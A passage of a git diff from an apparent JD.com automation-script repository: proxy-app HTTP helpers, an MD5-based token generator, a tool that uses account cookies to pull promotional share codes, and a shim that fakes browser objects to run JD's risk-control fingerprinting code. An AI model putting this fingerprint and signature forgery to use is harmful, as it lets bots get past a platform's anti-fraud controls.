t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + +async function cow(lastgettime){ + return A(lastgettime) +} + +async function token(cookie){ + $.cookie = cookie; + return await getJxToken() +} + +module.exports = { + cow, + token +} \ No newline at end of file diff --git a/utils/jd_jxmcToken.js b/utils/jd_jxmcToken.js new file mode 100644 index 0000000000..16cddaa743 --- /dev/null +++ b/utils/jd_jxmcToken.js @@ -0,0 +1,91 @@ +function t(n, t) { + var r = (65535 & n) + (65535 & t); + return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r +} + +function r(n, t) { + return n << t | n >>> 32 - t +} + +function e(n, e, o, u, c, f) { + return t(r(t(t(e, n), t(u, f)), c), o) +} + +function o(n, t, r, o, u, c, f) { + return e(t & r | ~t & o, n, t, u, c, f) +} + +function u(n, t, r, o, u, c, f) { + return e(t & o | r & ~o, n, t, u, c, f) +} + +function c(n, t, r, o, u, c, f) { + return e(t ^ r ^ o, n, t, u, c, f) +} + +function f(n, t, r, o, u, c, f) { + return e(r ^ (t | ~o), n, t, u, c, f) +} + +function i(n, r) { + n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; + var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; + for (e = 0; e < n.length; e += 16) i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); + return [l, g, v, m] +} + +function a(n) { + var t, r = "", e = 32 * n.length; + for (t = 0; t < e; t += 8) r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); + return r +} + +function d(n) { + var t, r = []; + for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1) r[t] = 0; + var e = 8 * n.length; + for (t = 0; t < e; t += 8) r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; + return r +} + +function h(n) { + return a(i(d(n), 8 * n.length)) +} + +function l(n, t) { + var r, e, o = d(n), u = [], c = []; + for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1) u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; + return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) +} + +function g(n) { + var t, r, e = ""; + for (r = 0; r < n.length; r += 1) t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); + return e +} + +function v(n) { + return unescape(encodeURIComponent(n)) +} + +function m(n) { + return h(v(n)) +} + +function p(n) { + return g(m(n)) +} + +function s(n, t) { + return l(v(n), v(t)) +} + +function C(n, t) { + return g(s(n, t)) +} + +function A(n, t, r) { + return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) +} + +module.exports = A \ No newline at end of file diff --git a/utils/shareCodesTool.ts b/utils/shareCodesTool.ts new file mode 100644 index 0000000000..87f50ccdfb --- /dev/null +++ b/utils/shareCodesTool.ts @@ -0,0 +1,133 @@ +import axios from "axios"; +import USER_AGENT, {h5st} from "../TS_USER_AGENTS"; + +async function bean(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action', `functionId=plantBeanIndex&body=${escape(JSON.stringify({version: "9.0.0.1", "monitor_source": "plant_app_plant_index", "monitor_refer": ""}))}&appid=ld&client=apple&area=5_274_49707_49973&build=167283&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + Host: "api.m.jd.com", + "User-Agent": USER_AGENT + } + }) + if (data.data?.jwordShareInfo?.shareUrl) + return data.data?.jwordShareInfo.shareUrl.split('Uuid=')![1] + else + return 'null' +} + +async function farm(cookie: string) { + let {data}: any = await axios.post('https://api.m.jd.com/client.action?functionId=initForFarm', `body=${escape(JSON.stringify({"version": 4}))}&appid=wh5&clientVersion=9.1.0`, { + headers: { + "cookie": cookie, + "origin": "https://home.m.jd.com", + "referer": "https://home.m.jd.com/myJd/newhome.action", + "User-Agent": USER_AGENT, + "Content-Type": "application/x-www-form-urlencoded" + } + }) + return data.farmUserPro?.shareCode ?? 'null' +} + +async function health(cookie: string) { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action/client.action?functionId=jdhealth_getTaskDetail&body=${escape(JSON.stringify({"buildingId": "", taskId: 6, "channelId": 1}))}&client=wh5&clientVersion=1.0.0`, { + headers: { + "Cookie": cookie, + "origin": "https://h5.m.jd.com", + "referer": "https://h5.m.jd.com/", + 'Content-Type': 'application/x-www-form-urlencoded', + "User-Agent": USER_AGENT + } + }) + return data.data?.result?.taskVos[0].assistTaskDetailVo.taskToken ?? 'null' +} + +async function pet(cookie: string) { + let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=initPetTown`, + `body=${escape(JSON.stringify({version: 2, channel: "app"}))}&appid=wh5&loginWQBiz=pet-town&clientVersion=9.0.4`, { + headers: { + 'Cookie': cookie, + "User-Agent": USER_AGENT, + 'Host': "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + } + }); + return data.result?.shareCode ?? 'null' +} + +async function factory(cookie: string) { + let {data}: any = await axios.post(`https://api.m.jd.com/client.action?functionId=jdfactory_getTaskDetail`, + `functionId=jdfactory_getTaskDetail&body=${escape(JSON.stringify({}))}&client=wh5&clientVersion=9.1.0`, { + headers: { + Cookie: cookie, + origin: "https://h5.m.jd.com", + referer: "https://h5.m.jd.com/", + "Content-Type": "application/x-www-form-urlencoded", + 'User-Agent': USER_AGENT, + } + }); + if (data.data.bizCode === 0) { + for (let t of data.data?.result?.taskVos) { + if (t.taskType === 14) + return t.assistTaskDetailVo.taskToken + } + } + return 'null' +} + +async function sgmh(cookie: string) { + let {data}: any = await axios.post(`https://api.m.jd.com/client.action`, + `functionId=interact_template_getHomeData&body={"appId":"1EFRXxg","taskToken":""}&client=wh5&clientVersion=1.0.0`, { + headers: { + 'Origin': `https://h5.m.jd.com`, + 'Cookie': cookie, + 'Accept': `application/json, text/plain, */*`, + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/2WBcKYkn8viyxv7MoKKgfzmu7Dss/index.html`, + 'Host': `api.m.jd.com`, + } + }) + if (data.data.bizCode === 0) { + for (let t of data.data?.result?.taskVos) { + if (t.taskName === '邀请好友助力') + return t.assistTaskDetailVo.taskToken + } + } + return 'null' +} + +async function jxfactory(cookie: string) { + let url: string = `https://m.jingxi.com/newtasksys/newtasksys_front/GetUserTaskStatusList?source=dreamfactory&bizCode=dream_factory&_time=${Date.now()}&_stk=${encodeURIComponent('_time,bizCode,source')}&_ste=1&_=${Date.now()}&sceneval=2` + url = h5st(url, '_time,bizCode,source', {}, 10001) + let {data}: any = await axios.get(url, { + headers: { + 'Referer': 'https://actst.jingxi.com/pingou/dream_factory/index.html', + 'User-Agent': USER_AGENT, + 'Host': 'm.jingxi.com', + 'Cookie': cookie + } + }) + return data.data?.encryptPin ?? 'null' +} + +async function cash(cookie: string) { + let {data}: any = await axios.get(`https://api.m.jd.com/client.action?functionId=cash_mob_home&body=${escape(JSON.stringify({}))}&appid=CashRewardMiniH5Env&appid=9.1.0`, { + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': USER_AGENT, + } + }) + return data.data?.result?.inviteCode ?? 'null' +} + +export { + bean, + farm, + health, + pet, + factory, + sgmh, + jxfactory, + cash, +} \ No newline at end of file diff --git a/utils/sharecodes.json b/utils/sharecodes.json new file mode 100644 index 0000000000..63b18c496a --- /dev/null +++ b/utils/sharecodes.json @@ -0,0 +1,4 @@ +{ + "cfd":["abcd", "abc123"], + "jxfactory":["tuanid:123", "tuanid:234"] +} diff --git a/utils/sign_graphics_validate.js b/utils/sign_graphics_validate.js new file mode 100644 index 0000000000..b0b1c02f66 --- /dev/null +++ b/utils/sign_graphics_validate.js @@ -0,0 +1,2078 @@ +const navigator = { + userAgent: require('../USER_AGENTS').USER_AGENT, + plugins: { length: 0 }, + language: "zh-CN", +}; +const screen = { + availHeight: 812, + availWidth: 375, + colorDepth: 24, + height: 812, + width: 375, + pixelDepth: 24, + +} +const window = { + +} +const document = { + location: { + "ancestorOrigins": {}, + "href": "https://prodev.m.jd.com/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "origin": "https://prodev.m.jd.com", + "protocol": "https:", + "host": "prodev.m.jd.com", + "hostname": "prodev.m.jd.com", + "port": "", + "pathname": "/mall/active/3BbAVGQPDd6vTyHYjmAutXrKAos6/index.html", + "search": "", + "hash": "" + } +}; +var start_time = (new Date).getTime(), + _jdfp_canvas_md5 = "", + _jdfp_webgl_md5 = "", + _fingerprint_step = 1, + _JdEid = "", + _eidFlag = !1, + risk_jd_local_fingerprint = "", + _jd_e_joint_; + + function t(a) { + if (null == a || void 0 == a || "" == a) return "NA"; + if (null == a || void 0 == a || "" == a) var b = ""; + else { + b = []; + for (var c = 0; c < 8 * a.length; c += 8) b[c >> 5] |= (a.charCodeAt(c / 8) & 255) << c % 32 + } + a = 8 * a.length; + b[a >> 5] |= 128 << a % 32; + b[(a + 64 >>> 9 << 4) + 14] = a; + a = 1732584193; + c = -271733879; + for (var l = -1732584194, h = 271733878, q = 0; q < b.length; q += 16) { + var z = a, + C = c, + D = l, + B = h; + a = v(a, c, l, h, b[q + 0], 7, -680876936); + h = v(h, a, c, l, b[q + 1], 12, -389564586); + l = v(l, h, a, c, b[q + 2], 17, 606105819); + c = v(c, l, h, a, b[q + 3], 22, -1044525330); + a = v(a, c, l, h, b[q + 4], 7, -176418897); + h = v(h, a, c, l, b[q + 5], 12, 1200080426); + l = v(l, h, a, c, b[q + 6], 17, -1473231341); + c = v(c, l, h, a, b[q + 7], 22, -45705983); + a = v(a, c, l, h, b[q + 8], 7, 1770035416); + h = v(h, a, c, l, b[q + 9], 12, -1958414417); + l = v(l, h, a, c, b[q + 10], 17, -42063); + c = v(c, l, h, a, b[q + 11], 22, -1990404162); + a = v(a, c, l, h, b[q + 12], 7, 1804603682); + h = v(h, a, c, l, b[q + 13], 12, -40341101); + l = v(l, h, a, c, b[q + 14], 17, -1502002290); + c = v(c, l, h, a, b[q + 15], 22, 1236535329); + a = x(a, c, l, h, b[q + 1], 5, -165796510); + h = x(h, a, c, l, b[q + 6], 9, -1069501632); + l = x(l, h, a, c, b[q + 11], 14, 643717713); + c = x(c, l, h, a, b[q + 0], 20, -373897302); + a = x(a, c, l, h, b[q + 5], 5, -701558691); + h = x(h, a, c, l, b[q + 10], 9, 38016083); + l = x(l, h, a, c, b[q + 15], 14, -660478335); + c = x(c, l, h, a, b[q + 4], 20, -405537848); + a = x(a, c, l, h, b[q + 9], 5, 568446438); + h = x(h, a, c, l, b[q + 14], 9, -1019803690); + l = x(l, h, a, c, b[q + 3], 14, -187363961); + c = x(c, l, h, a, b[q + 8], 20, 1163531501); + a = x(a, c, l, h, b[q + 13], 5, -1444681467); + h = x(h, a, c, l, b[q + 2], 9, -51403784); + l = x(l, h, a, c, b[q + 7], 14, 1735328473); + c = x(c, l, h, a, b[q + 12], 20, -1926607734); + a = u(c ^ l ^ h, a, c, b[q + 5], 4, -378558); + h = u(a ^ c ^ l, h, a, b[q + 8], 11, -2022574463); + l = u(h ^ a ^ c, l, h, b[q + 11], 16, 1839030562); + c = u(l ^ h ^ a, c, l, b[q + 14], 23, -35309556); + a = u(c ^ l ^ h, a, c, b[q + 1], 4, -1530992060); + h = u(a ^ c ^ l, h, a, b[q + 4], 11, 1272893353); + l = u(h ^ a ^ c, l, h, b[q + 7], 16, -155497632); + c = u(l ^ h ^ a, c, l, b[q + 10], 23, -1094730640); + a = u(c ^ l ^ h, a, c, b[q + 13], 4, 681279174); + h = u(a ^ c ^ l, h, a, b[q + 0], 11, -358537222); + l = u(h ^ a ^ c, l, h, b[q + 3], 16, -722521979); + c = u(l ^ h ^ a, c, l, b[q + 6], 23, 76029189); + a = u(c ^ l ^ h, a, c, b[q + 9], 4, -640364487); + h = u(a ^ c ^ l, h, a, b[q + 12], 11, -421815835); + l = u(h ^ a ^ c, l, h, b[q + 15], 16, 530742520); + c = u(l ^ h ^ a, c, l, b[q + 2], 23, -995338651); + a = w(a, c, l, h, b[q + 0], 6, -198630844); + h = w(h, a, c, l, b[q + 7], 10, 1126891415); + l = w(l, h, a, c, b[q + 14], 15, -1416354905); + c = w(c, l, h, a, b[q + 5], 21, -57434055); + a = w(a, c, l, h, b[q + 12], 6, 1700485571); + h = w(h, a, c, l, b[q + 3], 10, -1894986606); + l = w(l, h, a, c, b[q + 10], 15, -1051523); + c = w(c, l, h, a, b[q + 1], 21, -2054922799); + a = w(a, c, l, h, b[q + 8], 6, 1873313359); + h = w(h, a, c, l, b[q + 15], 10, -30611744); + l = w(l, h, a, c, b[q + 6], 15, -1560198380); + c = w(c, l, h, a, b[q + 13], 21, 1309151649); + a = w(a, c, l, h, b[q + 4], 6, -145523070); + h = w(h, a, c, l, b[q + 11], 10, -1120210379); + l = w(l, h, a, c, b[q + 2], 15, 718787259); + c = w(c, l, h, a, b[q + 9], 21, -343485551); + a = A(a, z); + c = A(c, C); + l = A(l, D); + h = A(h, B) + } + b = [a, c, l, h]; + a = ""; + for (c = 0; c < 4 * b.length; c++) a += "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 + 4 & 15) + + "0123456789abcdef".charAt(b[c >> 2] >> c % 4 * 8 & 15); + return a + } + function u(a, b, c, l, h, q) { + a = A(A(b, a), A(l, q)); + return A(a << h | a >>> 32 - h, c) + } + + function v(a, b, c, l, h, q, z) { + return u(b & c | ~b & l, a, b, h, q, z) + } + + function x(a, b, c, l, h, q, z) { + return u(b & l | c & ~l, a, b, h, q, z) + } + + function w(a, b, c, l, h, q, z) { + return u(c ^ (b | ~l), a, b, h, q, z) + } + + function A(a, b) { + var c = (a & 65535) + (b & 65535); + return (a >> 16) + (b >> 16) + (c >> 16) << 16 | c & 65535 + } + _fingerprint_step = 2; + var y = "", + n = navigator.userAgent.toLowerCase(); + n.indexOf("jdapp") && (n = n.substring(0, 90)); + var e = navigator.language, + f = n; - 1 != f.indexOf("ipad") || -1 != f.indexOf("iphone os") || -1 != f.indexOf("midp") || -1 != f.indexOf( + "rv:1.2.3.4") || -1 != f.indexOf("ucweb") || -1 != f.indexOf("android") || -1 != f.indexOf("windows ce") || + f.indexOf("windows mobile"); + var r = "NA", + k = "NA"; + try { + -1 != f.indexOf("win") && -1 != f.indexOf("95") && (r = "windows", k = "95"), -1 != f.indexOf("win") && -1 != + f.indexOf("98") && (r = "windows", k = "98"), -1 != f.indexOf("win 9x") && -1 != f.indexOf("4.90") && ( + r = "windows", k = "me"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.0") && (r = "windows", k = + "2000"), -1 != f.indexOf("win") && -1 != f.indexOf("nt") && (r = "windows", k = "NT"), -1 != f.indexOf( + "win") && -1 != f.indexOf("nt 5.1") && (r = "windows", k = "xp"), -1 != f.indexOf("win") && -1 != f + .indexOf("32") && (r = "windows", k = "32"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 5.1") && (r = + "windows", k = "7"), -1 != f.indexOf("win") && -1 != f.indexOf("6.0") && (r = "windows", k = "8"), + -1 == f.indexOf("win") || -1 == f.indexOf("nt 6.0") && -1 == f.indexOf("nt 6.1") || (r = "windows", k = + "9"), -1 != f.indexOf("win") && -1 != f.indexOf("nt 6.2") && (r = "windows", k = "10"), -1 != f.indexOf( + "linux") && (r = "linux"), -1 != f.indexOf("unix") && (r = "unix"), -1 != f.indexOf("sun") && -1 != + f.indexOf("os") && (r = "sun os"), -1 != f.indexOf("ibm") && -1 != f.indexOf("os") && (r = "ibm os/2"), + -1 != f.indexOf("mac") && -1 != f.indexOf("pc") && (r = "mac"), -1 != f.indexOf("aix") && (r = "aix"), + -1 != f.indexOf("powerpc") && (r = "powerPC"), -1 != f.indexOf("hpux") && (r = "hpux"), -1 != f.indexOf( + "netbsd") && (r = "NetBSD"), -1 != f.indexOf("bsd") && (r = "BSD"), -1 != f.indexOf("osf1") && (r = + "OSF1"), -1 != f.indexOf("irix") && (r = "IRIX", k = ""), -1 != f.indexOf("freebsd") && (r = + "FreeBSD"), -1 != f.indexOf("symbianos") && (r = "SymbianOS", k = f.substring(f.indexOf( + "SymbianOS/") + 10, 3)) + } catch (a) { } + _fingerprint_step = 3; + var g = "NA", + m = "NA"; + try { + -1 != f.indexOf("msie") && (g = "ie", m = f.substring(f.indexOf("msie ") + 5), m.indexOf(";") && (m = m.substring( + 0, m.indexOf(";")))); - 1 != f.indexOf("firefox") && (g = "Firefox", m = f.substring(f.indexOf( + "firefox/") + 8)); - 1 != f.indexOf("opera") && (g = "Opera", m = f.substring(f.indexOf("opera/") + 6, + 4)); - 1 != f.indexOf("safari") && (g = "safari", m = f.substring(f.indexOf("safari/") + 7)); - 1 != f.indexOf( + "chrome") && (g = "chrome", m = f.substring(f.indexOf("chrome/") + 7), m.indexOf(" ") && (m = m.substring( + 0, m.indexOf(" ")))); - 1 != f.indexOf("navigator") && (g = "navigator", m = f.substring(f.indexOf( + "navigator/") + 10)); - 1 != f.indexOf("applewebkit") && (g = "applewebkit_chrome", m = f.substring(f.indexOf( + "applewebkit/") + 12), m.indexOf(" ") && (m = m.substring(0, m.indexOf(" ")))); - 1 != f.indexOf( + "sogoumobilebrowser") && (g = "\u641c\u72d7\u624b\u673a\u6d4f\u89c8\u5668"); + if (-1 != f.indexOf("ucbrowser") || -1 != f.indexOf("ucweb")) g = "UC\u6d4f\u89c8\u5668"; + if (-1 != f.indexOf("qqbrowser") || -1 != f.indexOf("tencenttraveler")) g = "QQ\u6d4f\u89c8\u5668"; - 1 != + f.indexOf("metasr") && (g = "\u641c\u72d7\u6d4f\u89c8\u5668"); - 1 != f.indexOf("360se") && (g = + "360\u6d4f\u89c8\u5668"); - 1 != f.indexOf("the world") && (g = + "\u4e16\u754c\u4e4b\u7a97\u6d4f\u89c8\u5668"); - 1 != f.indexOf("maxthon") && (g = + "\u9068\u6e38\u6d4f\u89c8\u5668") + } catch (a) { } + + +class JdJrTdRiskFinger { + f = { + options: function (){ + return {} + }, + nativeForEach: Array.prototype.forEach, + nativeMap: Array.prototype.map, + extend: function (a, b) { + if (null == a) return b; + for (var c in a) null != a[c] && b[c] !== a[c] && (b[c] = a[c]); + return b + }, + getData: function () { + return y + }, + get: function (a) { + var b = 1 * m, + c = []; + "ie" == g && 7 <= b ? (c.push(n), c.push(e), y = y + ",'userAgent':'" + t(n) + "','language':'" + + e + "'", this.browserRedirect(n)) : (c = this.userAgentKey(c), c = this.languageKey(c)); + c.push(g); + c.push(m); + c.push(r); + c.push(k); + y = y + ",'os':'" + r + "','osVersion':'" + k + "','browser':'" + g + "','browserVersion':'" + + m + "'"; + c = this.colorDepthKey(c); + c = this.screenResolutionKey(c); + c = this.timezoneOffsetKey(c); + c = this.sessionStorageKey(c); + c = this.localStorageKey(c); + c = this.indexedDbKey(c); + c = this.addBehaviorKey(c); + c = this.openDatabaseKey(c); + c = this.cpuClassKey(c); + c = this.platformKey(c); + c = this.hardwareConcurrencyKey(c); + c = this.doNotTrackKey(c); + c = this.pluginsKey(c); + c = this.canvasKey(c); + c = this.webglKey(c); + b = this.x64hash128(c.join("~~~"), 31); + return a(b) + }, + userAgentKey: function (a) { + a.push(navigator.userAgent), y = y + ",'userAgent':'" + t( + navigator.userAgent) + "'", this.browserRedirect(navigator.userAgent); + return a + }, + replaceAll: function (a, b, c) { + for (; 0 <= a.indexOf(b);) a = a.replace(b, c); + return a + }, + browserRedirect: function (a) { + var b = a.toLowerCase(); + a = "ipad" == b.match(/ipad/i); + var c = "iphone os" == b.match(/iphone os/i), + l = "midp" == b.match(/midp/i), + h = "rv:1.2.3.4" == b.match(/rv:1.2.3.4/i), + q = "ucweb" == b.match(/ucweb/i), + z = "android" == b.match(/android/i), + C = "windows ce" == b.match(/windows ce/i); + b = "windows mobile" == b.match(/windows mobile/i); + y = a || c || l || h || q || z || C || b ? y + ",'origin':'mobile'" : y + ",'origin':'pc'" + }, + languageKey: function (a) { + '' || (a.push(navigator.language), y = y + ",'language':'" + this.replaceAll( + navigator.language, " ", "_") + "'"); + return a + }, + colorDepthKey: function (a) { + '' || (a.push(screen.colorDepth), y = y + ",'colorDepth':'" + + screen.colorDepth + "'"); + return a + }, + screenResolutionKey: function (a) { + if (!this.options.excludeScreenResolution) { + var b = this.getScreenResolution(); + "undefined" !== typeof b && (a.push(b.join("x")), y = y + ",'screenResolution':'" + b.join( + "x") + "'") + } + return a + }, + getScreenResolution: function () { + return this.options.detectScreenOrientation ? screen.height > screen.width ? [screen.height, + screen.width] : [screen.width, screen.height] : [screen.height, screen.width] + }, + timezoneOffsetKey: function (a) { + this.options.excludeTimezoneOffset || (a.push((new Date).getTimezoneOffset()), y = y + + ",'timezoneOffset':'" + (new Date).getTimezoneOffset() / 60 + "'"); + return a + }, + sessionStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasSessionStorage() && (a.push("sessionStorageKey"), + y += ",'sessionStorage':true"); + return a + }, + localStorageKey: function (a) { + !this.options.excludeSessionStorage && this.hasLocalStorage() && (a.push("localStorageKey"), y += + ",'localStorage':true"); + return a + }, + indexedDbKey: function (a) { + !this.options.excludeIndexedDB && this.hasIndexedDB() && (a.push("indexedDbKey"), y += + ",'indexedDb':true"); + return a + }, + addBehaviorKey: function (a) { + document.body && !this.options.excludeAddBehavior && document.body.addBehavior ? (a.push( + "addBehaviorKey"), y += ",'addBehavior':true") : y += ",'addBehavior':false"; + return a + }, + openDatabaseKey: function (a) { + !this.options.excludeOpenDatabase && window.openDatabase ? (a.push("openDatabase"), y += + ",'openDatabase':true") : y += ",'openDatabase':false"; + return a + }, + cpuClassKey: function (a) { + this.options.excludeCpuClass || (a.push(this.getNavigatorCpuClass()), y = y + ",'cpu':'" + this + .getNavigatorCpuClass() + "'"); + return a + }, + platformKey: function (a) { + this.options.excludePlatform || (a.push(this.getNavigatorPlatform()), y = y + ",'platform':'" + + this.getNavigatorPlatform() + "'"); + return a + }, + hardwareConcurrencyKey: function (a) { + var b = this.getHardwareConcurrency(); + a.push(b); + y = y + ",'ccn':'" + b + "'"; + return a + }, + doNotTrackKey: function (a) { + this.options.excludeDoNotTrack || (a.push(this.getDoNotTrack()), y = y + ",'track':'" + this.getDoNotTrack() + + "'"); + return a + }, + canvasKey: function (a) { + if (!this.options.excludeCanvas && this.isCanvasSupported()) { + var b = this.getCanvasFp(); + a.push(b); + _jdfp_canvas_md5 = t(b); + y = y + ",'canvas':'" + _jdfp_canvas_md5 + "'" + } + return a + }, + webglKey: function (a) { + if 